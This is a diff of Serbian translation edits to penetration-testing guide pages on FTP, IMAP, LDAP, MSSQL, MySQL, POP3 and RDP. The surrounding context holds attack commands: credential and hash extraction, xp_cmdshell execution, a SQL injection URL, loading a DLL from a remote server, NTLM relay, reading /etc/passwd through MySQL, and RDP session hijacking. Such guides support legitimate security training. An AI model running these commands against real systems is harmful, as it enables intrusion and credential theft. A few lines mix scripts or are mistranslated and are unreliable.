U **Pasivnom FTP**, klijent inicira kontrolnu vezu sa svog porta N na port 21 FTP servera. Nakon toga, klijent izdaje **passv komandu**. Server zatim šalje klijentu jedan od svojih brojeva portova M. I **klijent** **inicira** podatkovnu **vezu** sa **svojeg porta P na port M** FTP servera.
|
||||
U **Pasivnom FTP-u**, klijent inicira kontrolnu konekciju sa svog porta N na port 21 FTP servera. Nakon toga, klijent izdaje **passv komandu**. Server zatim šalje klijentu jedan od svojih brojeva portova M. I **klijent** **inicira** data **konekciju** sa **svojeg porta P na port M** FTP servera.
|
||||
|
||||
Izvor: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
|
||||
### Debagovanje veze
|
||||
### Debagovanje konekcije
|
||||
|
||||
**FTP** komande **`debug`** i **`trace`** mogu se koristiti da se vidi **kako se komunikacija odvija**.
|
||||
|
||||
@ -105,7 +105,7 @@ Ovde možete pronaći lepu listu sa podrazumevanim ftp akreditivima: [https://gi
|
||||
|
||||
### Automated
|
||||
|
||||
Anonimni login i bounce FTP provere se po defaultu izvode pomoću nmap-a sa **-sC** opcijom ili:
|
||||
Anonimni login i bounce FTP provere se po defaultu izvode pomoću nmap sa **-sC** opcijom ili:
|
||||
```bash
|
||||
nmap --script ftp-* -p 21 <ip>
|
||||
```
|
||||
@ -122,7 +122,7 @@ Napomena da ako **web aplikacija** šalje podatke koje kontroliše korisnik **di
|
||||
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
|
||||
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
|
||||
```
|
||||
Ako vaš korisnički nalog/lozinka sadrži posebne karaktere, može se koristiti [sledeća komanda](https://stackoverflow.com/a/113900/13647948):
|
||||
Ako vaš korisnički nalog/lozinka sadrži specijalne karaktere, [sledeća komanda](https://stackoverflow.com/a/113900/13647948) može biti korišćena:
|
||||
```bash
|
||||
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
```
|
||||
@ -148,7 +148,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
|
||||
## FTPBounce napad
|
||||
|
||||
Neki FTP serveri dozvoljavaju komandu PORT. Ova komanda se može koristiti da označi serveru da želite da se povežete na drugi FTP server na nekom portu. Tada možete koristiti ovo da skenirate koji portovi na hostu su otvoreni preko FTP servera.
|
||||
Neki FTP serveri dozvoljavaju komandu PORT. Ova komanda se može koristiti da se serveru označi da želite da se povežete na drugi FTP server na nekom portu. Tada možete koristiti ovo da skenirate koji portovi na hostu su otvoreni preko FTP servera.
|
||||
|
||||
[**Saznajte ovde kako da zloupotrebite FTP server za skeniranje portova.**](ftp-bounce-attack.md)
|
||||
|
||||
@ -193,7 +193,7 @@ Podrazumevana konfiguracija vsFTPd može se naći u `/etc/vsftpd.conf`. Ovde mo
|
||||
- `anon_mkdir_write_enable=YES`
|
||||
- `anon_root=/home/username/ftp` - Direktorijum za anonimne korisnike.
|
||||
- `chown_uploads=YES` - Promeni vlasništvo nad anonimno otpremljenim datotekama
|
||||
- `chown_username=username` - Korisnik kojem je dato vlasništvo nad anonimno otpremljenim datotekama
|
||||
- `chown_username=username` - Korisnik koji dobija vlasništvo nad anonimno otpremljenim datotekama
|
||||
- `local_enable=YES` - Omogući lokalnim korisnicima da se prijave
|
||||
- `no_anon_password=YES` - Ne traži lozinku od anonimnih korisnika
|
||||
- `write_enable=YES` - Dozvoli komande: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, i SITE
|
||||
|
@ -107,7 +107,7 @@ Takođe je moguće pružiti složenije uslove pretrage. npr. pretraga za nacrtim
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
|
||||
```
|
||||
Lep pregled mogućih termina pretrage se nalazi [here](https://www.atmail.com/blog/imap-commands/).
|
||||
Lep pregled mogućih pretraživačkih termina se nalazi [here](https://www.atmail.com/blog/imap-commands/).
|
||||
|
||||
3. Preuzimanje poruke (imap komanda `SELECT Drafts` i zatim `FETCH 1 BODY[]`)
|
||||
```bash
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
Korišćenje **LDAP** (Lightweight Directory Access Protocol) je prvenstveno za lociranje raznih entiteta kao što su organizacije, pojedinci i resursi poput fajlova i uređaja unutar mreža, kako javnih tako i privatnih. Pruža pojednostavljen pristup u poređenju sa svojim prethodnikom, DAP, imajući manji kodni otisak.
|
||||
|
||||
LDAP direktorijumi su strukturirani da omoguće njihovu distribuciju preko više servera, pri čemu svaki server sadrži **repliciranu** i **sinhronizovanu** verziju direktorijuma, koja se naziva Directory System Agent (DSA). Odgovornost za obradu zahteva leži isključivo na LDAP serveru, koji može komunicirati sa drugim DSA-ima po potrebi da bi isporučio jedinstven odgovor tražiocu.
|
||||
LDAP direktorijumi su strukturirani tako da omogućavaju njihovu distribuciju preko više servera, pri čemu svaki server sadrži **repliciranu** i **sinhronizovanu** verziju direktorijuma, koja se naziva Directory System Agent (DSA). Odgovornost za obradu zahteva leži isključivo na LDAP serveru, koji može komunicirati sa drugim DSA-ima po potrebi kako bi pružio jedinstven odgovor tražiocu.
|
||||
|
||||
Organizacija LDAP direktorijuma podseća na **stablo hijerarhije, počinjući od korenskog direktorijuma na vrhu**. Ovo se grana na zemlje, koje se dalje dele na organizacije, a zatim na organizacione jedinice koje predstavljaju razne divizije ili odeljenja, konačno dostižući nivo pojedinačnih entiteta, uključujući i ljude i deljene resurse poput fajlova i štampača.
|
||||
Organizacija LDAP direktorijuma podseća na **stablo hijerarhije, počinjući od korenskog direktorijuma na vrhu**. Ovo se grana prema državama, koje se dalje dele na organizacije, a zatim na organizacione jedinice koje predstavljaju razne divizije ili odeljenja, konačno dostižući nivo pojedinačnih entiteta, uključujući i ljude i deljene resurse poput fajlova i štampača.
|
||||
|
||||
**Podrazumevani port:** 389 i 636(ldaps). Globalni katalog (LDAP u ActiveDirectory) je dostupan po defaultu na portovima 3268 i 3269 za LDAPS.
|
||||
```
|
||||
@ -66,11 +66,11 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
||||
```
|
||||
## Sniff clear text credentials
|
||||
|
||||
Ako se LDAP koristi bez SSL-a, možete **snimati kredencijale u čistom tekstu** u mreži.
|
||||
Ako se LDAP koristi bez SSL-a, možete **sniff-ovati kredencijale u čistom tekstu** u mreži.
|
||||
|
||||
Takođe, možete izvršiti **MITM** napad u mreži **između LDAP servera i klijenta.** Ovde možete napraviti **Downgrade Attack** tako da klijent koristi **kredencijale u čistom tekstu** za prijavu.
|
||||
|
||||
**Ako se koristi SSL** možete pokušati da napravite **MITM** kao što je pomenuto iznad, ali nudeći **lažni sertifikat**, ako **korisnik to prihvati**, možete smanjiti metodu autentifikacije i ponovo videti kredencijale.
|
||||
**Ako se koristi SSL** možete pokušati da napravite **MITM** kao što je pomenuto iznad, ali nudeći **lažni sertifikat**, ako **korisnik to prihvati**, možete da smanjite metodu autentifikacije i ponovo vidite kredencijale.
|
||||
|
||||
## Anonymous Access
|
||||
|
||||
@ -80,14 +80,14 @@ Prema [**ovoj analizi**](https://swarm.ptsecurity.com/exploiting-arbitrary-objec
|
||||
```bash
|
||||
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
||||
```
|
||||
### LDAP anonimni vezovi
|
||||
### LDAP anonimne veze
|
||||
|
||||
[LDAP anonimni vezovi](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) omogućavaju **neautentifikovanim napadačima** da preuzmu informacije iz domena, kao što su potpuni spisak korisnika, grupa, računara, atributa korisničkih naloga i politika lozinki domena. Ovo je **nasleđena konfiguracija**, i od Windows Server 2003, samo autentifikovani korisnici su dozvoljeni da pokreću LDAP zahteve.\
|
||||
Međutim, administratori su možda morali da **konfigurišu određenu aplikaciju da dozvoli anonimne vezove** i dali više pristupa nego što je bilo predviđeno, čime su neautentifikovanim korisnicima omogućili pristup svim objektima u AD.
|
||||
[LDAP anonimne veze](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) omogućavaju **neautentifikovanim napadačima** da preuzmu informacije iz domena, kao što su potpuni spisak korisnika, grupa, računara, atributa korisničkih naloga i politika lozinki domena. Ovo je **nasleđena konfiguracija**, i od Windows Server 2003, samo autentifikovani korisnici su ovlašćeni da pokreću LDAP zahteve.\
|
||||
Međutim, administratori su možda morali da **konfigurišu određenu aplikaciju da dozvoli anonimne veze** i dali više pristupa nego što je planirano, čime su neautentifikovanim korisnicima omogućili pristup svim objektima u AD.
|
||||
|
||||
## Validne kredencijale
|
||||
## Važeće kredencijale
|
||||
|
||||
Ako imate validne kredencijale za prijavu na LDAP server, možete izvući sve informacije o Domenskom Administratoru koristeći:
|
||||
Ako imate važeće kredencijale za prijavu na LDAP server, možete izvući sve informacije o Domenskom Administratoru koristeći:
|
||||
|
||||
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
||||
```bash
|
||||
@ -121,7 +121,7 @@ Prvo pokušajte da **se povežete bez** kredencijala:
|
||||
True
|
||||
>>> server.info
|
||||
```
|
||||
Ako je odgovor `True`, kao u prethodnom primeru, možete dobiti neke **zanimljive podatke** sa LDAP-a (kao što su **naming context** ili **domain name**) servera sa:
|
||||
Ako je odgovor `True` kao u prethodnom primeru, možete dobiti neke **zanimljive podatke** sa LDAP (kao što su **naming context** ili **domain name**) servera sa:
|
||||
```bash
|
||||
>>> server.info
|
||||
DSA info (from DSE):
|
||||
@ -221,7 +221,7 @@ Da biste proverili da li imate pristup bilo kojoj lozinki, možete koristiti gre
|
||||
```bash
|
||||
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
||||
```
|
||||
Molimo vas, imajte na umu da lozinke koje ovde možete pronaći možda nisu prave...
|
||||
Molimo vas da primetite da lozinke koje ovde možete pronaći možda nisu prave...
|
||||
|
||||
#### pbis
|
||||
|
||||
@ -302,15 +302,15 @@ Možete ga preuzeti sa [https://github.com/Macmod/ldapx](https://github.com/Macm
|
||||
|
||||
## Autentifikacija putem kerberos
|
||||
|
||||
Korišćenjem `ldapsearch` možete **autentifikovati** se protiv **kerberos umesto** putem **NTLM** koristeći parametar `-Y GSSAPI`
|
||||
Korišćenjem `ldapsearch` možete **autentifikovati** protiv **kerberosa umesto** putem **NTLM** koristeći parametar `-Y GSSAPI`
|
||||
|
||||
## POST
|
||||
|
||||
Ako možete pristupiti datotekama gde su sadržane baze podataka (mogu biti u _/var/lib/ldap_). Možete izvući hešove koristeći:
|
||||
Ako možete pristupiti datotekama gde se nalaze baze podataka (mogu biti u _/var/lib/ldap_). Možete izvući hešove koristeći:
|
||||
```bash
|
||||
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
||||
```
|
||||
Možete nahraniti johna sa hash-om lozinke (od '{SSHA}' do 'structural' bez dodavanja 'structural').
|
||||
Možete nahraniti john sa hash-om lozinke (od '{SSHA}' do 'structural' bez dodavanja 'structural').
|
||||
|
||||
### Konfiguracione datoteke
|
||||
|
||||
|
@ -18,7 +18,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
||||
- **msdb Database**: SQL Server Agent koristi ovu bazu podataka za upravljanje rasporedom za upozorenja i poslove.
|
||||
- **model Database**: Deluje kao plan za svaku novu bazu podataka na SQL Server instanci, gde se sve izmene poput veličine, kolacije, modela oporavka i drugih odražavaju u novokreiranim bazama podataka.
|
||||
- **Resource Database**: Baza podataka samo za čitanje koja sadrži sistemske objekte koji dolaze sa SQL Server-om. Ovi objekti, iako fizički smešteni u Resource bazi podataka, logički su predstavljeni u sys šemi svake baze podataka.
|
||||
- **tempdb Database**: Služi kao privremeni prostor za skladištenje prolaznih objekata ili međurezultata.
|
||||
- **tempdb Database**: Služi kao privremeno skladište za prolazne objekte ili međurezultate.
|
||||
|
||||
## Enumeracija
|
||||
|
||||
@ -30,7 +30,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
|
||||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||
```
|
||||
> [!NOTE]
|
||||
> Ako **nemate** **akreditivne podatke**, možete pokušati da ih pogodite. Možete koristiti nmap ili metasploit. Budite oprezni, možete **blokirati naloge** ako nekoliko puta neuspešno pokušate prijavu koristeći postojeće korisničko ime.
|
||||
> Ako **nemate** **akreditiv** možete pokušati da ih pogodite. Možete koristiti nmap ili metasploit. Budite oprezni, možete **blokirati naloge** ako nekoliko puta neuspešno pokušate prijavu koristeći postojeće korisničko ime.
|
||||
|
||||
#### Metasploit (potrebni akreditivi)
|
||||
```bash
|
||||
@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
||||
### Izvršavanje OS komandi
|
||||
|
||||
> [!CAUTION]
|
||||
> Imajte na umu da je za izvršavanje komandi neophodno ne samo da je **`xp_cmdshell`** **omogućena**, već i da imate **EXECUTE dozvolu na `xp_cmdshell` skladištenoj proceduri**. Možete saznati ko (osim sysadmin-a) može koristiti **`xp_cmdshell`** pomoću:
|
||||
> Imajte na umu da je za izvršavanje komandi neophodno ne samo da je **`xp_cmdshell`** **omogućena**, već i da imate **EXECUTE dozvolu na `xp_cmdshell` skladišnoj proceduri**. Možete saznati ko (osim sysadmin-a) može koristiti **`xp_cmdshell`** pomoću:
|
||||
>
|
||||
> ```sql
|
||||
> Use master
|
||||
@ -260,7 +260,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
|
||||
```
|
||||
> [!WARNING]
|
||||
> Možete proveriti ko (osim sysadmina) ima dozvole za pokretanje ovih MSSQL funkcija sa:
|
||||
> Možete proveriti ko (osim sysadmin-a) ima dozvole za pokretanje ovih MSSQL funkcija sa:
|
||||
>
|
||||
> ```sql
|
||||
> Use master;
|
||||
@ -319,7 +319,7 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE
|
||||
```
|
||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||
```
|
||||
### **RCE/Čitanje fajlova izvršavanje skripti (Python i R)**
|
||||
### **RCE/Čitanje fajlova izvršavanjem skripti (Python i R)**
|
||||
|
||||
MSSQL može omogućiti izvršavanje **skripti u Pythonu i/ili R**. Ovi kodovi će biti izvršeni od strane **drugog korisnika** nego onog koji koristi **xp_cmdshell** za izvršavanje komandi.
|
||||
|
||||
@ -327,7 +327,7 @@ Primer pokušaja izvršavanja **'R'** _"Hellow World!"_ **ne radi**:
|
||||
|
||||
.png>)
|
||||
|
||||
Primer korišćenja konfigurisanog Pythona za izvođenje nekoliko akcija:
|
||||
Primer korišćenja konfigurisanog Pythona za obavljanje više akcija:
|
||||
```sql
|
||||
# Print the user being used (and execute commands)
|
||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
||||
@ -372,11 +372,11 @@ Za **više primera** pogledajte [**originalni izvor**](https://blog.waynesheffie
|
||||
|
||||
Moguće je **učitati .NET dll unutar MSSQL sa prilagođenim funkcijama**. Ovo, međutim, **zahteva `dbo` pristup** tako da vam je potrebna veza sa bazom podataka **kao `sa` ili u ulozi Administratora**.
|
||||
|
||||
[**Pratite ovu vezu**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) da vidite primer.
|
||||
[**Pratite ovu vezu**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) da biste videli primer.
|
||||
|
||||
### RCE sa `autoadmin_task_agents`
|
||||
|
||||
Prema[ **ovom postu**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), takođe je moguće učitati udaljeni dll i naterati MSSQL da ga izvrši sa nečim poput:
|
||||
Prema [**ovom postu**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), takođe je moguće učitati udaljeni dll i naterati MSSQL da ga izvrši sa nečim poput:
|
||||
```sql
|
||||
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
|
||||
```
|
||||
@ -430,7 +430,7 @@ public void Test()
|
||||
}
|
||||
}
|
||||
```
|
||||
### Ostali načini za RCE
|
||||
### Drugi načini za RCE
|
||||
|
||||
Postoje druge metode za dobijanje izvršenja komandi, kao što su dodavanje [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), i [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||
|
||||
@ -482,7 +482,7 @@ Ili **PS** skripta:
|
||||
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
|
||||
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
|
||||
```
|
||||
### Impersonacija drugih korisnika
|
||||
### Improvizacija drugih korisnika
|
||||
|
||||
SQL Server ima posebnu dozvolu, nazvanu **`IMPERSONATE`**, koja **omogućava izvršnom korisniku da preuzme dozvole drugog korisnika** ili prijave dok se kontekst ne resetuje ili sesija ne završi.
|
||||
```sql
|
||||
@ -537,13 +537,13 @@ Napadač može da ekstrakuje lozinke SQL Server Linked Servers iz SQL instanci i
|
||||
|
||||
Neki zahtevi i konfiguracije moraju biti izvršeni kako bi ovaj exploit radio. Prvo, morate imati administratorska prava na mašini, ili mogućnost upravljanja SQL Server konfiguracijama.
|
||||
|
||||
Nakon što potvrdite svoja prava, potrebno je da konfigurišete tri stvari, a to su:
|
||||
Nakon što potvrdite svoja prava, potrebno je konfigurisati tri stvari, koje su sledeće:
|
||||
|
||||
1. Omogućite TCP/IP na SQL Server instancama;
|
||||
2. Dodajte Start Up parametar, u ovom slučaju, biće dodat trace flag, koji je -T7806.
|
||||
3. Omogućite udaljenu administratorsku vezu.
|
||||
|
||||
Da automatizujete ove konfiguracije, [ova repozitorija](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ima potrebne skripte. Pored toga što ima powershell skriptu za svaki korak konfiguracije, repozitorija takođe ima kompletnu skriptu koja kombinuje skripte za konfiguraciju i ekstrakciju i dekripciju lozinki.
|
||||
Da automatizujete ove konfiguracije, [ovo skladište](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ima potrebne skripte. Pored toga što ima powershell skriptu za svaki korak konfiguracije, skladište takođe ima punu skriptu koja kombinuje skripte za konfiguraciju i ekstrakciju i dekripciju lozinki.
|
||||
|
||||
Za dodatne informacije, pogledajte sledeće linkove u vezi sa ovim napadom: [Dekripcija lozinki MSSQL baze podataka Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
@ -551,7 +551,7 @@ Za dodatne informacije, pogledajte sledeće linkove u vezi sa ovim napadom: [Dek
|
||||
|
||||
## Lokalna eskalacija privilegija
|
||||
|
||||
Korisnik koji pokreće MSSQL server će imati omogućenu privilegiju tokena **SeImpersonatePrivilege.**\
|
||||
Korisnik koji pokreće MSSQL server će imati omogućenu privilegiju **SeImpersonatePrivilege.**\
|
||||
Verovatno ćete moći da **eskalirate na Administratora** prateći jednu od ove 2 stranice:
|
||||
|
||||
{{#ref}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## **Osnovne informacije**
|
||||
|
||||
**MySQL** se može opisati kao open source **Relacijski sistem za upravljanje bazama podataka (RDBMS)** koji je dostupan bez troškova. Radi na **Strukturiranom jeziku upita (SQL)**, omogućavajući upravljanje i manipulaciju bazama podataka.
|
||||
**MySQL** se može opisati kao open source **Relational Database Management System (RDBMS)** koji je dostupan bez troškova. Radi na **Structured Query Language (SQL)**, omogućavajući upravljanje i manipulaciju bazama podataka.
|
||||
|
||||
**Podrazumevani port:** 3306
|
||||
```
|
||||
@ -17,7 +17,7 @@
|
||||
mysql -u root # Connect to root without password
|
||||
mysql -u root -p # A password will be asked (check someone)
|
||||
```
|
||||
### Udaljeno
|
||||
### Удалено
|
||||
```bash
|
||||
mysql -h <Hostname> -u root
|
||||
mysql -h <Hostname> -u root@localhost
|
||||
@ -111,20 +111,20 @@ Možete videti u dokumentaciji značenje svake privilegije: [https://dev.mysql.c
|
||||
|
||||
## MySQL proizvoljno čitanje datoteka od strane klijenta
|
||||
|
||||
U stvari, kada pokušate da **učitate podatke lokalno u tabelu** **sadržaj datoteke**, MySQL ili MariaDB server traži od **klijenta da je pročita** i pošalje sadržaj. **Tada, ako možete da manipulišete mysql klijentom da se poveže na vaš vlastiti MySQL server, možete čitati proizvoljne datoteke.**\
|
||||
U stvari, kada pokušate da **učitate podatke lokalno u tabelu** **sadržaj datoteke**, MySQL ili MariaDB server traži od **klijenta da je pročita** i pošalje sadržaj. **Zatim, ako možete da manipulišete mysql klijentom da se poveže na vaš vlastiti MySQL server, možete čitati proizvoljne datoteke.**\
|
||||
Molimo vas da primetite da je ovo ponašanje korišćenjem:
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
```
|
||||
(Obratite pažnju na reč "local")\
|
||||
Jer bez "local" možete dobiti:
|
||||
(Обратите пажњу на реч "локални")\
|
||||
Пошто без "локални" можете добити:
|
||||
```bash
|
||||
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
|
||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||
```
|
||||
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**U ovom radu možete videti potpun opis napada i čak kako ga proširiti na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**U ovom radu možete videti potpunu opis napada i čak kako ga proširiti na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Ovde možete pronaći pregled napada:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
|
||||
|
||||
@ -133,7 +133,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
|
||||
|
||||
## POST
|
||||
|
||||
### Mysql User
|
||||
### Mysql Korisnik
|
||||
|
||||
Biće veoma zanimljivo ako mysql radi kao **root**:
|
||||
```bash
|
||||
@ -146,7 +146,7 @@ U konfiguraciji MySQL usluga, različite postavke se koriste za definisanje njen
|
||||
|
||||
- Postavka **`user`** se koristi za određivanje korisnika pod kojim će MySQL usluga biti izvršena.
|
||||
- **`password`** se primenjuje za uspostavljanje lozinke povezane sa MySQL korisnikom.
|
||||
- **`admin_address`** specificira IP adresu koja sluša TCP/IP veze na administrativnom mrežnom interfejsu.
|
||||
- **`admin_address`** specificira IP adresu koja sluša TCP/IP konekcije na administrativnom mrežnom interfejsu.
|
||||
- Varijabla **`debug`** ukazuje na trenutne konfiguracije za debagovanje, uključujući osetljive informacije unutar logova.
|
||||
- **`sql_warnings`** upravlja time da li se generišu informacione stringovi za INSERT izjave sa jednim redom kada se pojave upozorenja, sadržeći osetljive podatke unutar logova.
|
||||
- Sa **`secure_file_priv`**, opseg operacija uvoza i izvoza podataka je ograničen radi poboljšanja sigurnosti.
|
||||
@ -171,7 +171,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
```
|
||||
### Eskalacija privilegija putem biblioteke
|
||||
|
||||
Ako **mysql server radi kao root** (ili kao neki drugi korisnik sa višim privilegijama), možete ga naterati da izvršava komande. Za to, potrebno je da koristite **funkcije definisane od strane korisnika**. A da biste kreirali funkciju definisanu od strane korisnika, biće vam potrebna **biblioteka** za operativni sistem na kojem se mysql pokreće.
|
||||
Ako **mysql server radi kao root** (ili kao neki drugi korisnik sa višim privilegijama), možete ga naterati da izvršava komande. Za to, potrebno je da koristite **funkcije definisane od strane korisnika**. A da biste kreirali funkciju definisanu od strane korisnika, biće vam potrebna **biblioteka** za operativni sistem na kojem radi mysql.
|
||||
|
||||
Zloćudna biblioteka koja se koristi može se pronaći unutar sqlmap-a i unutar metasploit-a tako što ćete uraditi **`locate "*lib_mysqludf_sys*"`**. **`.so`** datoteke su **linux** biblioteke, a **`.dll`** su one za **Windows**, izaberite onu koja vam je potrebna.
|
||||
|
||||
@ -222,7 +222,7 @@ cat /etc/mysql/debian.cnf
|
||||
```
|
||||
Možete **koristiti ove akreditive za prijavu u mysql bazu podataka**.
|
||||
|
||||
Unutar datoteke: _/var/lib/mysql/mysql/user.MYD_ možete pronaći **sve heširane lozinke MySQL korisnika** (one koje možete izvući iz mysql.user unutar baze podataka)_._
|
||||
Unutar datoteke: _/var/lib/mysql/mysql/user.MYD_ možete pronaći **sve hešove MySQL korisnika** (one koje možete izvući iz mysql.user unutar baze podataka)_._
|
||||
|
||||
Možete ih izvući tako što ćete:
|
||||
```bash
|
||||
@ -236,7 +236,7 @@ Možete omogućiti logovanje mysql upita unutar `/etc/mysql/my.cnf` otkomentaris
|
||||
|
||||
### Korisni fajlovi
|
||||
|
||||
Konfiguracione datoteke
|
||||
Konfiguracioni fajlovi
|
||||
|
||||
- windows \*
|
||||
- config.ini
|
||||
@ -253,12 +253,12 @@ Konfiguracione datoteke
|
||||
- /etc/my.cnf
|
||||
- Istorija komandi
|
||||
- \~/.mysql.history
|
||||
- Log datoteke
|
||||
- Log fajlovi
|
||||
- connections.log
|
||||
- update.log
|
||||
- common.log
|
||||
|
||||
## Podrazumevana MySQL baza podataka/tabele
|
||||
## Podrazumevana MySQL Baza Podataka/Tabele
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="information_schema"}}
|
||||
|
@ -11,9 +11,9 @@
|
||||
PORT STATE SERVICE
|
||||
110/tcp open pop3
|
||||
```
|
||||
## Enumeracija
|
||||
## Enumeration
|
||||
|
||||
### Prikupljanje banera
|
||||
### Banner Grabbing
|
||||
```bash
|
||||
nc -nv <IP> 110
|
||||
openssl s_client -connect <IP>:995 -crlf -quiet
|
||||
@ -73,7 +73,7 @@ password: PA$$W0RD!Z
|
||||
```
|
||||
## Beleženje Lozinki
|
||||
|
||||
POP serveri sa podešavanjem **`auth_debug`** omogućeni će povećati generisanje logova. Međutim, ako su **`auth_debug_passwords`** ili **`auth_verbose_passwords`** postavljeni na **`true`**, lozinke bi takođe mogle biti beležene u čistom tekstu u tim logovima.
|
||||
POP serveri sa podešavanjem **`auth_debug`** omogućavaju povećano generisanje logova. Međutim, ako su **`auth_debug_passwords`** ili **`auth_verbose_passwords`** postavljeni na **`true`**, lozinke bi takođe mogle biti beležene u čistom tekstu u tim logovima.
|
||||
|
||||
## HackTricks Automatske Komande
|
||||
```
|
||||
|
@ -5,7 +5,7 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Razvijen od strane Microsoft-a, **Remote Desktop Protocol** (**RDP**) je dizajniran da omogući grafičku interfejs vezu između računara preko mreže. Da bi se uspostavila takva veza, korisnik koristi **RDP** klijentski softver, dok je istovremeno potrebno da udaljeni računar pokreće **RDP** serverski softver. Ova postavka omogućava neometano upravljanje i pristup desktop okruženju udaljenog računara, suštinski donoseći njegov interfejs na korisnikov lokalni uređaj.
|
||||
Razvijen od strane Microsoft-a, **Remote Desktop Protocol** (**RDP**) je dizajniran da omogući grafičku interfejs vezu između računara preko mreže. Da bi se uspostavila takva veza, korisnik koristi **RDP** klijentski softver, dok je istovremeno potrebno da udaljeni računar koristi **RDP** serverski softver. Ova postavka omogućava besprekornu kontrolu i pristup desktop okruženju udaljenog računara, suštinski donoseći njegov interfejs na korisnikov lokalni uređaj.
|
||||
|
||||
**Podrazumevani port:** 3389
|
||||
```
|
||||
@ -64,7 +64,7 @@ Sada ćete biti unutar odabrane RDP sesije i moći ćete da se pretvarate da ste
|
||||
|
||||
**Važno**: Kada pristupite aktivnim RDP sesijama, izbacujete korisnika koji je koristio tu sesiju.
|
||||
|
||||
Možete dobiti lozinke iz procesa tako što ćete ga iskopirati, ali ova metoda je mnogo brža i omogućava vam da interagujete sa virtuelnim radnim površinama korisnika (lozinke u notepadu bez čuvanja na disku, druge RDP sesije otvorene na drugim mašinama...)
|
||||
Možete dobiti lozinke iz procesa tako što ćete ih iskopirati, ali ova metoda je mnogo brža i omogućava vam da interagujete sa virtuelnim radnim površinama korisnika (lozinke u notepadu bez čuvanja na disku, druge RDP sesije otvorene na drugim mašinama...)
|
||||
|
||||
#### **Mimikatz**
|
||||
|
||||
@ -100,9 +100,9 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
||||
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||
- Kontrola miša i tastature na automatizovan način iz komandne linije
|
||||
- Kontrola međuspremnika na automatizovan način iz komandne linije
|
||||
- Pokretanje SOCKS proxy-a sa klijenta koji usmerava mrežnu komunikaciju ka meti putem RDP-a
|
||||
